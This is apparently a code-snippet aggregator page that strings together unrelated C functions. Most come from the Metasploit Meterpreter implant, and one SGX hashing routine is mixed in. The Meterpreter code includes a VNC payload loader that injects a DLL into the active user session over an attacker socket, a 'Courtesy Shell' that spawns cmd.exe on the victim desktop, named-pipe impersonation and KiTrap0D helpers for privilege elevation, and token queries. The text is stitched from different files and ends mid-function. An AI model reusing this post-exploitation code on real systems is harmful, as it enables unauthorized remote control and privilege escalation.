Esempio n. 1
0
/*
 * @brief Get the token information for the current thread/process.
 * @param pTokenUser Buffer to receive the token data.
 * @param dwBufferSize Size of the buffer that will receive the token data.
 * @returns Indication of success or failure.
 */
DWORD get_user_token(LPVOID pTokenUser, DWORD dwBufferSize)
{
	DWORD dwResult = 0;
	DWORD dwReturnedLength = 0;
	HANDLE hToken;

	do
	{
		if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, FALSE, &hToken))
		{
			if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
			{
				BREAK_ON_ERROR("[TOKEN] Failed to get a valid token for thread/process.");
			}
		}

		if (!GetTokenInformation(hToken, TokenUser, pTokenUser, dwBufferSize, &dwReturnedLength))
		{
			BREAK_ON_ERROR("[TOKEN] Failed to get token information for thread/process.");
		}

		dwResult = ERROR_SUCCESS;
	} while (0);

	return dwResult;
}
Esempio n. 2
0
/*
 * Extract the vnc.dll into the provided DLL_BUFFER.
 */
DWORD loader_vncdll( DLL_BUFFER * pDllBuffer )
{
	DWORD dwResult           = ERROR_SUCCESS;
	HRSRC hVncResource       = NULL;
	HGLOBAL hVncResourceLoad = NULL;
	LPVOID lpVncDllBuffer    = NULL;
	DWORD dwVncDllSize       = 0;
#ifdef _WIN64
	DWORD dwCompiledArch     = PROCESS_ARCH_X64;
#else
	DWORD dwCompiledArch     = PROCESS_ARCH_X86;
#endif

	do
	{
		if( !pDllBuffer )
			BREAK_WITH_ERROR( "[LOADER] Init. pDllBuffer is null", ERROR_INVALID_PARAMETER );

		pDllBuffer->dwPE64DllLenght = 0;
		pDllBuffer->lpPE64DllBuffer = NULL;
		pDllBuffer->dwPE32DllLenght = 0;
		pDllBuffer->lpPE32DllBuffer = NULL;

		hVncResource = FindResource( (HMODULE)hAppInstance, "IDR_VNC_DLL", "IMG" );  
		if( !hVncResource )
			BREAK_ON_ERROR( "[LOADER] Init. FindResource failed" );
	
		dwVncDllSize = SizeofResource( (HMODULE)hAppInstance, hVncResource );
		if( !dwVncDllSize )
			BREAK_ON_ERROR( "[LOADER] Init. SizeofResource failed" );

		hVncResourceLoad = LoadResource( (HMODULE)hAppInstance, hVncResource );   
		if( !hVncResourceLoad )
			BREAK_ON_ERROR( "[LOADER] Init. LoadResource failed" );

		lpVncDllBuffer = LockResource( hVncResourceLoad );
		if( !lpVncDllBuffer )
			BREAK_ON_ERROR( "[LOADER] Init. LockResource failed" );

		dprintf( "[LOADER] Init. lpVncDllBuffer=0x%08X, dwVncDllSize=%d", lpVncDllBuffer, dwVncDllSize );

		if( dwCompiledArch == PROCESS_ARCH_X64 )
		{
			pDllBuffer->dwPE64DllLenght = dwVncDllSize;
			pDllBuffer->lpPE64DllBuffer = lpVncDllBuffer;
		}
		else if( dwCompiledArch == PROCESS_ARCH_X86 )
		{
			pDllBuffer->dwPE32DllLenght = dwVncDllSize;
			pDllBuffer->lpPE32DllBuffer = lpVncDllBuffer;
		}

	} while( 0 );

	SetLastError( dwResult );

	return dwResult;
}
Esempio n. 3
0
/*
 * @brief Get the SID of the current process/thread.
 * @param pRemote Pointer to the \c Remote instance.
 * @param pRequest Pointer to the \c Request packet.
 * @returns Indication of success or failure.
 */
DWORD request_sys_config_getsid(Remote* pRemote, Packet* pRequest)
{
	DWORD dwResult;
	BYTE tokenUserInfo[4096];
	LPSTR pSid = NULL;
	Packet *pResponse = packet_create_response(pRequest);

	do
	{
		dwResult = get_user_token(tokenUserInfo, sizeof(tokenUserInfo));
		if (dwResult != ERROR_SUCCESS)
		{
			break;
		}

		if (!ConvertSidToStringSidA(((TOKEN_USER*)tokenUserInfo)->User.Sid, &pSid))
		{
			BREAK_ON_ERROR("[GETSID] Unable to convert current SID to string");
		}

	} while (0);

	if (pSid != NULL)
	{
		packet_add_tlv_string(pResponse, TLV_TYPE_SID, pSid);
		LocalFree(pSid);
	}

	packet_transmit_response(dwResult, pRemote, pResponse);

	return dwResult;
}
Esempio n. 4
0
/*
 * @brief Get the UID of the current process/thread.
 * @param pRequest Pointer to the \c Request packet.
 * @returns Indication of success or failure.
 * @remark This is a helper function that does the grunt work
 *         for getting the user details which is used in a few
 *         other locations.
 */
DWORD populate_uid(Packet* pResponse)
{
	DWORD dwResult;
	CHAR cbUsername[1024], cbUserOnly[512], cbDomainOnly[512];
	BYTE tokenUserInfo[4096];
	DWORD dwUserSize = sizeof(cbUserOnly), dwDomainSize = sizeof(cbDomainOnly);
	DWORD dwSidType = 0;

	memset(cbUsername, 0, sizeof(cbUsername));
	memset(cbUserOnly, 0, sizeof(cbUserOnly));
	memset(cbDomainOnly, 0, sizeof(cbDomainOnly));

	do
	{
		if ((dwResult = get_user_token(tokenUserInfo, sizeof(tokenUserInfo))) != ERROR_SUCCESS)
		{
			break;
		}

		if (!LookupAccountSidA(NULL, ((TOKEN_USER*)tokenUserInfo)->User.Sid, cbUserOnly, &dwUserSize, cbDomainOnly, &dwDomainSize, (PSID_NAME_USE)&dwSidType))
		{
			BREAK_ON_ERROR("[GETUID] Failed to lookup the account SID data");
		}

 		// Make full name in DOMAIN\USERNAME format
		_snprintf(cbUsername, 512, "%s\\%s", cbDomainOnly, cbUserOnly);
		cbUsername[511] = '\0';

		packet_add_tlv_string(pResponse, TLV_TYPE_USER_NAME, cbUsername);

		dwResult = EXIT_SUCCESS;
	} while (0);

	return dwResult;
}
Esempio n. 5
0
/*
 * Grab a useful Handle to NTVDM.
 */
BOOL kitrap0d_spawn_ntvdm( char * cpProgram, HANDLE * hProcess )
{
	DWORD dwResult         = ERROR_SUCCESS;
	PROCESS_INFORMATION pi = {0};
	STARTUPINFO si         = {0};
	ULONG i                = 0;

	do
	{
		si.cb = sizeof( STARTUPINFO );

		// Start the child process, which should invoke NTVDM...
		if( !CreateProcess( cpProgram, cpProgram, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, &pi ) )
			BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_spawn_ntvdm. CreateProcess failed" );

		dprintf( "[KITRAP0D] kitrap0d_spawn_ntvdm. CreateProcess(\"%s\") => %u", cpProgram, pi.dwProcessId );

		// Get more access
		*hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_TERMINATE, FALSE, pi.dwProcessId );
		if( *hProcess == NULL )
		{
			TerminateProcess( pi.hProcess, 'SPWN' );
			CloseHandle( pi.hThread );
			CloseHandle( pi.hProcess );
			BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_spawn_ntvdm. OpenProcess failed" );
		}

		dprintf( "[KITRAP0D] kitrap0d_spawn_ntvdm. OpenProcess(%u) => %#x", pi.dwProcessId, *hProcess );

		CloseHandle( pi.hThread );

		CloseHandle( pi.hProcess );

	} while( 0 );

	if( dwResult == ERROR_SUCCESS )
		return TRUE;

	return FALSE;
}
Esempio n. 6
0
/*
 * Switch to the input desktop and set it as this threads desktop.
 */
HDESK vncdll_getinputdesktop( BOOL bSwitchStation )
{
	DWORD dwResult         = ERROR_ACCESS_DENIED;
	HWINSTA hWindowStation = NULL;
	HDESK hInputDesktop    = NULL;
	HWND hDesktopWnd       = NULL;	

	do
	{
		if( bSwitchStation )
		{
			// open the WinSta0 as some services are attached to a different window station.
			hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
			if( !hWindowStation )
			{
				if( RevertToSelf() )
					hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
			}
			
			// if we cant open the defaut input station we wont be able to take a screenshot
			if( !hWindowStation )
				BREAK_WITH_ERROR( "[VNCDLL] vncdll_getinputdesktop: Couldnt get the WinSta0 Window Station", ERROR_INVALID_HANDLE );
			
			// set the host process's window station to this sessions default input station we opened
			if( !SetProcessWindowStation( hWindowStation ) )
				BREAK_ON_ERROR( "[VNCDLL] vncdll_getinputdesktop: SetProcessWindowStation failed" );
		}

		// grab a handle to the default input desktop (e.g. Default or WinLogon)
		hInputDesktop = OpenInputDesktop( 0, FALSE, MAXIMUM_ALLOWED );
		if( !hInputDesktop )
			BREAK_ON_ERROR( "[VNCDLL] vncdll_getinputdesktop: OpenInputDesktop failed" );

		// set this threads desktop to that of this sessions default input desktop on WinSta0
		SetThreadDesktop( hInputDesktop );
	
	} while( 0 );

	return hInputDesktop;
}
Esempio n. 7
0
/*
 * Enable or disable a privilege in our processes current token.
 */
BOOL elevate_priv( char * cpPrivilege, BOOL bEnable )
{
	DWORD dwResult        = ERROR_SUCCESS;
	HANDLE hToken         = NULL;
	TOKEN_PRIVILEGES priv = {0};

	do
	{
		if( !cpPrivilege )
			BREAK_WITH_ERROR( "[ELEVATE] elevate_priv. invalid arguments", ERROR_BAD_ARGUMENTS );

		if( !OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
			BREAK_ON_ERROR( "[ELEVATE] elevate_priv. OpenProcessToken failed" );
		
		priv.PrivilegeCount = 1;

		if( bEnable )
			priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
		else
			priv.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED;

		if( !LookupPrivilegeValue( NULL, cpPrivilege, &priv.Privileges[0].Luid ) )
			BREAK_ON_ERROR( "[ELEVATE] elevate_priv. LookupPrivilegeValue failed" );

		if( !AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ) )
			BREAK_ON_ERROR( "[ELEVATE] elevate_priv. AdjustTokenPrivileges failed" );

	} while( 0 );
	
	CLOSE_HANDLE( hToken );

	SetLastError( dwResult );

	if( dwResult == ERROR_SUCCESS )
		return TRUE;

	return FALSE;
}
/*
 * Send a buffer to a named pipe server.
 */
DWORD screenshot_send( char * cpNamedPipe, BYTE * pJpegBuffer, DWORD dwJpegSize )
{
	DWORD dwResult  = ERROR_ACCESS_DENIED;
	HANDLE hPipe    = NULL;
	DWORD dwWritten = 0;
	DWORD dwTotal   = 0;

	do
	{
		hPipe = CreateFileA( cpNamedPipe, GENERIC_ALL, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
		if( !hPipe )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot_send. CreateFileA failed" );
		
		if( !WriteFile( hPipe, (LPCVOID)&dwJpegSize, sizeof(DWORD), &dwWritten, NULL ) )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot_send. WriteFile JPEG length failed" );
		
		if( !dwJpegSize || !pJpegBuffer )
			BREAK_WITH_ERROR( "[SCREENSHOT] screenshot_send. No JPEG to transmit.", ERROR_BAD_LENGTH );

		while( dwTotal < dwJpegSize )
		{
			if( !WriteFile( hPipe, (LPCVOID)(pJpegBuffer + dwTotal), (dwJpegSize - dwTotal), &dwWritten, NULL ) )
				break;
			dwTotal += dwWritten;
		}

		if( dwTotal != dwJpegSize )
			BREAK_WITH_ERROR( "[SCREENSHOT] screenshot_send. dwTotal != dwJpegSize", ERROR_BAD_LENGTH );

		dwResult = ERROR_SUCCESS;

	} while( 0 );

	CLOSE_HANDLE( hPipe );

	return dwResult;
}
/*
 * Elevate a pipe server by allowing it to impersonate us.
 */
BOOL elevator_namedpipeservice( char * cpServiceName )
{
	DWORD dwResult                      = ERROR_SUCCESS;
	SERVICE_TABLE_ENTRY servicetable[2] = {0};

	do
	{
		if( !cpServiceName )
			BREAK_WITH_ERROR( "[ELEVATOR-NAMEDPIPE] elevator_pipe. cpServiceName == NULL", ERROR_INVALID_HANDLE );
		
		lpServiceName = _strdup( cpServiceName );
	
		hTerminate = CreateEvent( 0, TRUE, FALSE, 0 );
		if( !hTerminate )
			BREAK_ON_ERROR( "[ELAVATOR-NAMEDPIPE] elevator_service_proc. CreateEvent hTerminate failed" );

		servicetable[0].lpServiceName = lpServiceName;
		servicetable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)elevator_serviceproc;

		servicetable[1].lpServiceName = NULL;
		servicetable[1].lpServiceProc = NULL;

		if( !StartServiceCtrlDispatcher( servicetable ) )
			BREAK_ON_ERROR( "[ELEVATOR-NAMEDPIPE] elevator_pipe. StartServiceCtrlDispatcher failed" );

		if( WaitForSingleObject( hTerminate, INFINITE ) != WAIT_OBJECT_0 )
			BREAK_ON_ERROR( "[ELEVATOR-NAMEDPIPE] elevator_pipe. WaitForSingleObject failed" );

		dwResult = dwElevateStatus;

	} while( 0 );
	
	CLOSE_HANDLE( hTerminate );

	return dwResult;
}
/*******************************************************************
**  Function name: calculate_owner_id
**  Descrption: 
**  Calculate VMC Access Control Information. An ID of the creator of a VMC is defined as:
**    MR=[];
**    If (OwnerPolicy.MRSIGNER==1) MR=MR||REPORT(creator).MRSIGNER;
**    If (OwnerPolicy.MREnclave==1) MR=MR||REPORT(creator).MRENCLAVE;
**    MaskedAttrs = REPORT(creator).ATTRIBUTES & OwnerAttrMask
**    OwnerID =SHA256(MR||MaskedAttrs|| REPORT(creator).ProdID));
*******************************************************************/
static sgx_status_t calculate_owner_id(
    const isv_attributes_t &owner_attributes, // [IN] ISV's attributes info
    const uint16_t mc_policy,               // [IN] user's access control policy
    const uint8_t* mc_att_mask,             // [IN] attribute mask
    void* owner_id)                         // [OUT] ID of the creator of VMC
{
    sgx_sha_state_handle_t ctx = NULL;
    sgx_status_t sgx_ret = SGX_SUCCESS;

    assert(owner_id != NULL && mc_att_mask != NULL);

    do
    {
        sgx_ret = sgx_sha256_init(&ctx);
        BREAK_ON_ERROR(sgx_ret);
        if (mc_policy & MC_POLICY_SIGNER)
        {
            sgx_ret = sgx_sha256_update((const uint8_t *)(&owner_attributes.mr_signer),
                                        sizeof(owner_attributes.mr_signer), 
                                        ctx);
            BREAK_ON_ERROR(sgx_ret);
        }
        if (mc_policy & MC_POLICY_ENCLAVE)
        {
            sgx_ret = sgx_sha256_update((const uint8_t *)(&owner_attributes.mr_enclave),
                                         sizeof(owner_attributes.mr_enclave), 
                                         ctx);
            BREAK_ON_ERROR(sgx_ret);
        }

        uint64_t masked_att_flags = owner_attributes.attribute.flags & *((const uint64_t*)mc_att_mask);
        sgx_ret = sgx_sha256_update((const uint8_t *)&masked_att_flags, sizeof(masked_att_flags), ctx);
        BREAK_ON_ERROR(sgx_ret);
        uint64_t masked_att_xfrm = owner_attributes.attribute.xfrm & *((const uint64_t*)(mc_att_mask+8));
        sgx_ret = sgx_sha256_update((const uint8_t *)&masked_att_xfrm, sizeof(masked_att_xfrm), ctx);
        BREAK_ON_ERROR(sgx_ret);
        sgx_ret = sgx_sha256_update((const uint8_t *)(&owner_attributes.isv_prod_id), sizeof(sgx_prod_id_t), ctx);
        BREAK_ON_ERROR(sgx_ret);
        sgx_ret = sgx_sha256_get_hash(ctx, (sgx_sha256_hash_t*)owner_id);
        BREAK_ON_ERROR(sgx_ret);
    } while (0);

    if(ctx)
    {
        sgx_status_t ret = sgx_sha256_close(ctx);
        sgx_ret = (sgx_ret != SGX_SUCCESS)? sgx_ret : ret;
    }

    return sgx_ret;
}
Esempio n. 11
0
/*
 * Create the Metasploit Courtesy Shell
 */
VOID vncdll_courtesyshell( HDESK desk )
{
	DWORD dwResult         = ERROR_SUCCESS;
	HWND hShell            = NULL;
	STARTUPINFOA si        = {0};
	PROCESS_INFORMATION pi = {0};
	char name_win[256]     = {0};
	char name_des[256]     = {0};
	char name_all[1024]    = {0};
	
	do
	{
		dprintf( "[VNCDLL] vncdll_courtesyshell. desk=0x%08X", desk );

		memset(name_all, 0, sizeof(name_all));

		GetUserObjectInformation( GetProcessWindowStation(), UOI_NAME, &name_win, 256, NULL );
		GetUserObjectInformation( desk, UOI_NAME, &name_des, 256, NULL );

		_snprintf( name_all, sizeof(name_all)-1, "%s\\%s", name_win, name_des );

		memset( &pi, 0, sizeof(PROCESS_INFORMATION) );
		memset( &si, 0, sizeof(STARTUPINFOA) );

		si.cb              = sizeof(STARTUPINFOA);
		si.dwFlags         = STARTF_USESHOWWINDOW | STARTF_USEFILLATTRIBUTE;
		si.wShowWindow     = SW_NORMAL;
		si.lpDesktop       = name_all;
		si.lpTitle         = "Metasploit Courtesy Shell (TM)";
		si.dwFillAttribute = FOREGROUND_RED|FOREGROUND_BLUE|FOREGROUND_GREEN|BACKGROUND_BLUE;
		
		if( !CreateProcess( NULL, "cmd.exe", 0, 0, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi ) )
			BREAK_ON_ERROR( "[VNCDLL] vncdll_courtesyshell. CreateProcess failed" );

		CloseHandle( pi.hThread );
		CloseHandle( pi.hProcess );
			
		Sleep( 1000 );
		
		hShell = FindWindow( NULL, "Metasploit Courtesy Shell (TM)" );
		if( !hShell )
			break;

		SetWindowPos( hShell, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE|SWP_NOSIZE );

	} while( 0 );
}
/*
 * The main service routine, which we use to connect a named pipe server before finishing.
 */
VOID elevator_serviceproc( DWORD argc, LPSTR * argv )
{
	DWORD dwResult              = ERROR_SUCCESS;
	HANDLE hPipe                = NULL;
	char cServicePipe[MAX_PATH] = {0};
	DWORD dwBytes               = 0;
	BYTE bByte                  = 0;

	do
	{

		hStatus = RegisterServiceCtrlHandler( lpServiceName, (LPHANDLER_FUNCTION)elevator_servicectrl );
		if( !hStatus )
			BREAK_ON_ERROR( "[ELAVATOR-NAMEDPIPE] elevator_service_proc. RegisterServiceCtrlHandler failed" );
		  
		status.dwServiceType             = SERVICE_WIN32_OWN_PROCESS; 
		status.dwServiceSpecificExitCode = 0;
		
		elevator_servicestatus( SERVICE_RUNNING, NO_ERROR, 0 );

		_snprintf( cServicePipe, MAX_PATH, "\\\\.\\pipe\\%s", lpServiceName );

		while( TRUE )
		{
			hPipe = CreateFileA( cServicePipe, GENERIC_ALL, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
			if( hPipe )
			{
				if( WriteFile( hPipe, &bByte, 1, &dwBytes, NULL ) )
					break;

				CLOSE_HANDLE( hPipe );
			}

			Sleep( 50 );
		}

	} while( 0 );

	CLOSE_HANDLE( hPipe );

	dwElevateStatus = dwResult;

	elevator_servicestatus( SERVICE_STOPPED, NO_ERROR, 0 );
	
	SetEvent( hTerminate );
}
Esempio n. 13
0
/*
 * Find a suitable exe to host the exploit in.
 */
BOOL elevate_via_exploit_getpath( char *cpOutput, DWORD dwOutputSize )
{
	DWORD dwResult         = ERROR_SUCCESS;
	char cWinDir[MAX_PATH] = {0};
	DWORD dwIndex          = 0;
	char * cpFiles[]       = {  "twunk_16.exe", 
								"debug.exe", 
								"system32\\debug.exe", 
								NULL };

	do
	{
		if( !GetWindowsDirectory( cWinDir, MAX_PATH ) )
			BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_getpath. GetWindowsDirectory failed" );
	
		while( TRUE )
		{
			char * cpFileName = cpFiles[dwIndex];
			if( !cpFileName )
				break;

			if ( _snprintf_s( cpOutput, dwOutputSize, dwOutputSize - 1, "%s%s%s", cWinDir,
				 cWinDir[ strlen(cWinDir) - 1 ] == '\\' ? "" : "\\", cpFileName ) == -1 )
			{
				dprintf( "[KITRAP0D] elevate_via_exploit_getpath. Path truncation: %s", cpOutput );
				break;
			}

			dprintf( "[KITRAP0D] elevate_via_exploit_getpath. Trying: %s", cpOutput );

			if( GetFileAttributes( cpOutput ) != INVALID_FILE_ATTRIBUTES )
				return TRUE;

			memset( cpOutput, 0, dwOutputSize );

			dwIndex++;
		}

	} while(0);

	return FALSE;
}
Esempio n. 14
0
/*
 * Entry Point.
 */
DWORD Init( SOCKET s )
{
	DWORD dwResult              = ERROR_SUCCESS;
	BOOL bTerminate             = FALSE;
	HANDLE hMessageThread       = NULL;
	DLL_BUFFER VncDllBuffer     = {0};  
	char cCommandLine[MAX_PATH] = {0};
	DWORD dwHostSessionId       = 0;
	DWORD dwActiveSessionId     = 0;
	DWORD dwAgentSessionId      = 0xFFFFFFFF;
	BYTE bFlags                 = 0;

	__try
	{
		do
		{
			// We maintain state for the rfb stream so as not to desynchronize the remote
			// client after session switching and the injection of multiple agents server side.
			context_init();

			sock = s;
			if( sock == INVALID_SOCKET )
				BREAK_WITH_ERROR( "[LOADER] Init. INVALID_SOCKET", ERROR_INVALID_PARAMETER );
			
			if( recv( sock, (char *)&bFlags, 1, 0 ) == SOCKET_ERROR )
				BREAK_ON_WSAERROR( "[LOADER] Init. recv bFlags failed" );

			if( bFlags & VNCFLAG_DISABLECOURTESYSHELL )
				AgentContext.bDisableCourtesyShell = TRUE;

			if( bFlags & VNCFLAG_DISABLESESSIONTRACKING )
				bDisableSessionTracking = TRUE;

			dprintf( "[LOADER] Init. Starting, hAppInstance=0x%08X, sock=%d, bFlags=%d", hAppInstance, sock, bFlags );

			// get the vnc dll we will inject into the active session
			if( loader_vncdll( &VncDllBuffer ) != ERROR_SUCCESS )
				BREAK_ON_ERROR( "[LOADER] Init. loader_vncdll failed" );

			// create a socket event and have it signaled on FD_CLOSE
			hSocketCloseEvent = WSACreateEvent();
			if( hSocketCloseEvent == WSA_INVALID_EVENT )
				BREAK_ON_WSAERROR( "[LOADER] Init. WSACreateEvent failed" );

			if( WSAEventSelect( sock, hSocketCloseEvent, FD_CLOSE ) == SOCKET_ERROR )
				BREAK_ON_WSAERROR( "[LOADER] Init. WSAEventSelect failed" );

			// get the session id that our host process belongs to
			dwHostSessionId = session_id( GetCurrentProcessId() );

			hMessageThread = CreateThread( NULL, 0, context_message_thread, NULL, 0, NULL );
			if( !hMessageThread )
				BREAK_ON_ERROR( "[LOADER] Init. CreateThread context_message_thread failed" );

			// loop untill the remote client closes the connection, creating a vnc
			// server agent inside the active session upon the active session changing
			while( !bTerminate )
			{
				// in case we have been waiting for a session to attach to the physical  
				// console and the remote client has quit, we detect this here...
				if( WaitForSingleObject( hSocketCloseEvent, 0 ) == WAIT_OBJECT_0 )
				{
					dprintf( "[LOADER] Init. Remote socket closed, terminating1..." );
					break;
				}

				// get the session id for the interactive session
				dwActiveSessionId = session_activeid();
			
				// test if there is no session currently attached to the physical console...
				if( dwActiveSessionId == 0xFFFFFFFF )
				{
					dprintf( "[LOADER] Init. no session currently attached to the physical console..." );
					// just try to wait it out...
					Sleep( 250 );
					continue;
				}
				else if( dwActiveSessionId == dwAgentSessionId )
				{
					dprintf( "[LOADER] Init. dwActiveSessionId == dwAgentSessionId..." );
					// just try to wait it out...
					Sleep( 250 );
					continue;
				}

				// do the local process or session injection
				if( dwHostSessionId != dwActiveSessionId )
				{
					dprintf( "[LOADER] Init. Injecting into active session %d...", dwActiveSessionId );
					if( session_inject( dwActiveSessionId, &VncDllBuffer ) != ERROR_SUCCESS )
						BREAK_WITH_ERROR( "[LOADER] Init. session_inject failed", ERROR_ACCESS_DENIED );
				}
				else
				{
					dprintf( "[LOADER] Init. Allready in the active session %d.", dwActiveSessionId );
					if( ps_inject( GetCurrentProcessId(), &VncDllBuffer ) != ERROR_SUCCESS  )
						BREAK_WITH_ERROR( "[LOADER] Init. ps_inject current process failed", ERROR_ACCESS_DENIED );
				}
				
				dwAgentSessionId = dwActiveSessionId;

				// loop, waiting for either the agents process to die, the remote socket to die or
				// the active session to change...
				while( TRUE )
				{
					HANDLE hEvents[2]  = {0};
					DWORD dwWaitResult = 0;

					// wait for these event to be signaled or a timeout to occur...
					hEvents[0]   = hSocketCloseEvent;
					hEvents[1]   = hAgentProcess;
					dwWaitResult = WaitForMultipleObjects( 2, (HANDLE *)&hEvents, FALSE, 250 );
					
					// bail if we have somehow failed (e.g. invalid handle)
					if( dwWaitResult == WAIT_FAILED )
					{
						dprintf( "[LOADER] Init. WaitForMultipleObjects failed." );
						// if we cant synchronize we bail out...
						bTerminate = TRUE;
						break;
					}
					// if we have just timedout, test the current active session...
					else if( dwWaitResult == WAIT_TIMEOUT )
					{
						// if the agent is still in the active session just continue...
						if( dwAgentSessionId == session_activeid() )
							continue;
						// if we are not to perform session tracking try and stay in the current session (as it might become the active input session at a later stage)
						if( bDisableSessionTracking )
						{
							dprintf( "[LOADER] Init. Active session has changed, trying to stay in current session as session tracking disabled..." );
							Sleep( 500 );
							continue;
						}
						// if the agent is no longer in the active session we signal the agent to terminate
						if( !ReleaseMutex( hAgentCloseEvent ) )
							dprintf( "[LOADER] Init. ReleaseMutex 1 hAgentCloseEvent failed. error=%d", GetLastError() );							
						dprintf( "[LOADER] Init. Active session has changed. Moving agent into new session..." );
						dwAgentSessionId = 0xFFFFFFFF;
						// and we go inject a new agent into the new active session (or terminate if session tracking disabled)
						loader_agent_close();
						break;
					}
					// sanity check the result for an abandoned mutex
					else if( (dwWaitResult >= WAIT_ABANDONED_0) && (dwWaitResult <= (WAIT_ABANDONED_0 + 1)) )
					{
						dprintf( "[LOADER] Init. WAIT_ABANDONED_0 for %d", dwWaitResult - WAIT_ABANDONED_0 );
						bTerminate = TRUE;
						break;
					}
					else
					{
						// otherwise if we have an event signaled, handle it
						switch( dwWaitResult - WAIT_OBJECT_0 )
						{
							case 0:
								dprintf( "[LOADER] Init. Remote socket closed, terminating2..." );
								bTerminate = TRUE;
								if( !ReleaseMutex( hAgentCloseEvent ) )
									dprintf( "[LOADER] Init. ReleaseMutex 2 hAgentCloseEvent failed. error=%d", GetLastError() );
								ReleaseMutex( hAgentCloseEvent );
								break;
							case 1:
								dprintf( "[LOADER] Init. Injected agent's process has terminated..." );
								loader_agent_close();
								dwAgentSessionId = 0xFFFFFFFF;
								break;
							default:
								dprintf( "[LOADER] Init. WaitForMultipleObjects returned dwWaitResult=0x%08X", dwWaitResult );
								bTerminate = TRUE;
								if( !ReleaseMutex( hAgentCloseEvent ) )
									dprintf( "[LOADER] Init. ReleaseMutex 3 hAgentCloseEvent failed. error=%d", GetLastError() );
								break;
						}
					}

					// get out of this loop...
					break;
				}

			}

		} while( 0 );
	
		CLOSE_HANDLE( hSocketCloseEvent );

		loader_agent_close();

		closesocket( sock );

		if( hMessageThread )
			TerminateThread( hMessageThread, 0 );
	}
	__except( EXCEPTION_EXECUTE_HANDLER )
	{
		dprintf( "[LOADER] Init. EXCEPTION_EXECUTE_HANDLER\n\n" );
	}

	dprintf( "[LOADER] Init. Finished." );

	return dwResult;
}
Esempio n. 15
0
DWORD add_windows_os_version(Packet** packet)
{
	DWORD dwResult = ERROR_SUCCESS;
	CHAR buffer[512] = { 0 };

	do
	{
		HMODULE hNtdll = GetModuleHandleA("ntdll");
		if (hNtdll == NULL)
		{
			BREAK_ON_ERROR("[SYSINFO] Failed to load ntoskrnl");
		}

		PRtlGetVersion pRtlGetVersion = (PRtlGetVersion)GetProcAddress(hNtdll, "RtlGetVersion");
		if (pRtlGetVersion == NULL)
		{
			BREAK_ON_ERROR("[SYSINFO] Couldn't find RtlGetVersion in ntoskrnl");
		}

		OSVERSIONINFOEXW v = { 0 };
		v.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXW);

		if (0 != pRtlGetVersion(&v))
		{
			dwResult = ERROR_INVALID_DLL;
			dprintf("[SYSINFO] Unable to get OS version with RtlGetVersion");
			break;
		}

		dprintf("[VERSION] Major   : %u", v.dwMajorVersion);
		dprintf("[VERSION] Minor   : %u", v.dwMinorVersion);
		dprintf("[VERSION] Build   : %u", v.dwBuildNumber);
		dprintf("[VERSION] Maint   : %S", v.szCSDVersion);
		dprintf("[VERSION] Platform: %u", v.dwPlatformId);
		dprintf("[VERSION] Type    : %hu", v.wProductType);
		dprintf("[VERSION] SP Major: %hu", v.wServicePackMajor);
		dprintf("[VERSION] SP Minor: %hu", v.wServicePackMinor);
		dprintf("[VERSION] Suite   : %hu", v.wSuiteMask);

		CHAR* osName = NULL;

		if (v.dwMajorVersion == 3)
		{
			osName = "Windows NT 3.51";
		}
		else if (v.dwMajorVersion == 4)
		{
			if (v.dwMinorVersion == 0 && v.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS)
			{
				osName = "Windows 95";
			}
			else if (v.dwMinorVersion == 10)
			{
				osName = "Windows 98";
			}
			else if (v.dwMinorVersion == 90)
			{
				osName = "Windows ME";
			}
			else if (v.dwMinorVersion == 0 && v.dwPlatformId == VER_PLATFORM_WIN32_NT)
			{
				osName = "Windows NT 4.0";
			}
		}
		else if (v.dwMajorVersion == 5)
		{
			if (v.dwMinorVersion == 0)
			{
				osName = "Windows 2000";
			}
			else if (v.dwMinorVersion == 1)
			{
				osName = "Windows XP";
			}
			else if (v.dwMinorVersion == 2)
			{
				osName = "Windows .NET Server";
			}
		}
		else if (v.dwMajorVersion == 6)
		{
			if (v.dwMinorVersion == 0)
			{
				osName = v.wProductType == VER_NT_WORKSTATION ? "Windows Vista" : "Windows 2008";
			}
			else if (v.dwMinorVersion == 1)
			{
				osName = v.wProductType == VER_NT_WORKSTATION ? "Windows 7" : "Windows 2008 R2";
			}
			else if (v.dwMinorVersion == 2)
			{
				osName = v.wProductType == VER_NT_WORKSTATION ? "Windows 8" : "Windows 2012";
			}
			else if (v.dwMinorVersion == 3)
			{
				osName = v.wProductType == VER_NT_WORKSTATION ? "Windows 8.1" : "Windows 2012 R2";
			}
		}
		else if (v.dwMajorVersion == 10)
		{
			if (v.dwMinorVersion == 0)
			{
				osName = v.wProductType == VER_NT_WORKSTATION ? "Windows 10" : "Windows 2016 Tech Preview";
			}
		}

		if (!osName)
		{
			osName = "Unknown";
		}

		if (wcslen(v.szCSDVersion) > 0)
		{
			_snprintf(buffer, sizeof(buffer)-1, "%s (Build %lu, %S).", osName, v.dwBuildNumber, v.szCSDVersion);
		}
		else
		{
			_snprintf(buffer, sizeof(buffer)-1, "%s (Build %lu).", osName, v.dwBuildNumber);
		}

		dprintf("[VERSION] Version set to: %s", buffer);
